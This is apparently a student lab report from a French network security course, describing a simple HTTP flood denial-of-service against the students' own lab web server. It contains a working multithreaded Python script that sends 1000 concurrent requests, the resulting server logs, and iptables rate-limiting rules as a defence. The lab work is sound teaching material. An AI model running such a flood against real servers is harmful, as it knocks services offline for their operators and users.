

TP2 : DoS

Sécurité des Réseaux, Filière ISC – Année 2 - 2021/2022

Nikola Antonijevic et Ludovico Grabau

08.01.2022

TP2 : DoS

De quoi s'agit-il

Démarche, résultats et réponses

1. Préparation des machines

2. Création du script Python

3. Comment se protéger ?

Conclusion

De quoi s'agit-il

Dans ce TP, nous avons pour objectif de faire un DoS (denial of service).

C'est une attaque qui consiste à envoyer en boucle beaucoup de requêtes jusqu'à rendre un serveur inaccessible.

Démarche, résultats et réponses

1. Préparation des machines

Nous allons avoir besoin de deux machines dans le cadre de ce travail. La première n'est autre que le serveur web sur lequel nous avons accès à des fichiers (*une image volumineuse dans notre cas*). Sur notre deuxième machine (*l'attaquant*), nous allons simplement créer un script Python effectuant une requête HTTP avec pour objectif de récupérer l'image.

2. Création du script Python

Comme expliquer dans le paragraphe précédent, l'objectif de notre script est de récupérer avec une requête HTTP l'image volumineuse. Pour ce faire nous avons créé une fonction comme ceci :

```
def getImage():  
    print(requests.get("http://192.168.18.129/img.jpg"))
```

Cette fonction sert à effectuer la requête qui demande l'image. Maintenant que nous arrivons à demander au serveur l'image grâce à notre script, nous allons essayer de mettre ça dans une boucle avec 1000 itérations afin de voir si le serveur fonctionne toujours. Pour ce faire, nous avons simplement créé une fonction comme ceci :

```
for i in range(0, 1000):  
    getImage()
```

Malheureusement (et heureusement d'un côté), notre serveur tient le coup. On peut le voir grâce au print de notre fonction `getImage()`.

```
<Response [200]>  
<Response [200]>  
...  
<Response [200]>  
<Response [200]>
```

Pour le moment ce que notre script fait s'est de demander une image, attendre que le serveur nous la renvoie avant de la redemander une nouvelle fois jusqu'à atteindre les 1000 itérations. Nous avons donc compris que ce n'est pas de cette façon que nous allons pouvoir rendre notre serveur inaccessible.

Pour ce faire, nous allons faire du multithreading. L'objectif va être de paralléliser les tâches de notre script python pour que les 1000 requêtes partent sans attendre de réponse à chaque fois.

```
import requests  
import threading  
  
class myThread(threading.Thread):  
    def __init__(self, threadID, ):  
        threading.Thread.__init__(self)  
        self.threadID = threadID  
  
    def run(self):  
        print(requests.get("http://192.168.18.129/img.jpg"))  
  
if __name__ == '__main__':  
    list_thread = []  
    for i in range(1000):  
        thr = myThread(i)  
        list_thread.append(thr)  
  
    for thr in list_thread:  
        thr.start()
```

Maintenant, après avoir lancé le code ci-dessus, on peut voir que le serveur finit par devenir inaccessible et retourne des erreurs 404.

```
192.168.18.1 - - [11/Nov/2021 11:13:17] "GET /img.jpg HTTP/1.1" 200 -
192.168.18.1 - - [11/Nov/2021 11:13:17] "GET /img.jpg HTTP/1.1" 200 -
192.168.18.1 - - [11/Nov/2021 11:13:17] "GET /img.jpg HTTP/1.1" 200 -
192.168.18.1 - - [11/Nov/2021 11:13:17] code 404, message File not found
192.168.18.1 - - [11/Nov/2021 11:13:17] "GET /img.jpg HTTP/1.1" 404 -
192.168.18.1 - - [11/Nov/2021 11:13:17] code 404, message File not found
192.168.18.1 - - [11/Nov/2021 11:13:17] "GET /img.jpg HTTP/1.1" 404 -
```

3. Comment se protéger ?

Afin d'éviter ce type de problème, plusieurs solutions sont disponibles. La première est le blacklist, elle consiste à bannir une adresse IP après un certain nombre de tentatives. Une autre méthode consiste à limiter le nombre de requêtes par seconde. Pour faire ça, nous allons utiliser les commandes suivantes :

```
sudo iptables -A INPUT -p tcp --dport 80 -i ens33 -m state --state NEW -m recent --set
sudo iptables -A INPUT -p tcp --dport 80 -i ens33 -m state --state NEW -m recent --update --seconds 1 --hitcount 4 -j DROP
```

Maintenant que nous avons mis cette protection en place, nous pouvons relancer le script sans craindre quoi que ce soit (*avec notre script*) pour notre serveur. Il va simplement gérer quatre requêtes par seconde vu qu'elles viennent toutes de la même source.

Conclusion

Ce TP était intéressant grâce à son challenge qui était de mettre hors d'accès un serveur web et nous a permis de comprendre comment protéger un serveur d'attaque DoS.